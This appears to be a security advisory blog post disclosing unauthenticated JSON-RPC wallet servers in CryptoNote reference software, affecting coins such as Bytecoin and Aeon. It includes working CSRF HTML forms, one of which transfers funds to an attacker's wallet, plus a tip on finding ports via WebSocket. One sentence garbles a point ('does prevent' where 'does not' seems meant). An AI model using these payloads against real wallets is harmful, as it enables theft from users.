Unauthenticated JSON-RPC API allows takeover of CryptoNote RPC wallets

Cryptonote-img

The reference implementation of CryptoNote wallets start a JSON-RPC server listening on a localhost port that allows an attacker to execute wallet functions due to a lack of authentication.

An attacker may exploit this vulnerability to steal cryptocurrency from vulnerable wallets by directing users to visit a webpage hosting the exploit.

Affected Software

All cryptocurrencies that use the reference CryptoNote walletd and simplewallet implementations are vulnerable. Notable coins include Bytecoin and Aeon.

Description

The reference CryptoNote repository comes with two different wallets, simplewallet and walletd. Both wallets have JSON-RPC servers that are vulnerable to similar attacks. Even though the JSON-RPC servers are listening on localhost, they can be exploited via CSRF.

walletd

walletd has the JSON-RPC server enabled by default. The wallet binds to port 8070 by default.

The below proof-of-concept demonstrates the vulnerability by creating a new address in the walletd container.

<html>
<form action=http://127.0.0.1:8070/json_rpc method=post enctype="text/plain" >
    <input name='{"params":{},"jsonrpc":"2.0","method":"createAddress", "ignore_me":"' value='test"}'type='hidden'>
<input type=submit>
</form>
</html>

simplewallet

simplewallet does not have the JSON-RPC server enabled by default. Enabling the server requires the --rpc-bind-port flag when invoking simplewallet.

The below proof-of-concept demonstrates the vulnerability by making a transfer from the running wallet to an attacker controlled wallet. Change the INSERT_AMOUNT and INSERT_WALLET_ADDRESS parameters when testing the POC. We assume that simplewallet was invoked with --rpc-bind-port 8111.

<html>
<form action=http://127.0.0.1:8111 method=post enctype="text/plain" >
        <input name='{"jsonrpc":"2.0","method":"transfer","params":{"destinations":[{"amount":INSERT_AMOUNT,"address":"INSERT_WALLET_ADDRESS"}],"fee":100,"mixin":0,"unlock_time":0}, "ignore_me":"' value='test"}'type='hidden'>
<input type=submit>
</form>
</html>

Notes on exploitation

While the proof-of-concept code assumes that the server is listening on a specific port, changing the running port does prevent exploitation. It is trivial to enumerate open ports with WebSocket.

The proof-of-concept uses a HTML form to demonstrate the attack. However, exploiting this over Javascript is not an issue due to a lack of CSRF protection.

Vendor Response

Attempts have been made to reach out to the CryptoNote and Bytecoin developers without any success.

Turtlecoin has patched the issue by adding authentication in commit 4949e91.

Aeon has acknowledged the report and is not currently implementing a fix as they are in the process of rebasing their code. There is minimal risk to Aeon as simplewallet is not used in RPC mode for any official clients.

Recommended Fix

The JSON-RPC servers should be patched to require authentication on every request. It is recommended that all forks of CryptoNote and ByteCoin apply a patch similar to the Turtlecoin fix.

Credits

This issue was discovered by Ayrx.

Shoutout to @tildalwave for the GIF!

If you have any feedback or notice any errors in the post, I'd love to hear from you. You can find various ways of contacting me at the about me page!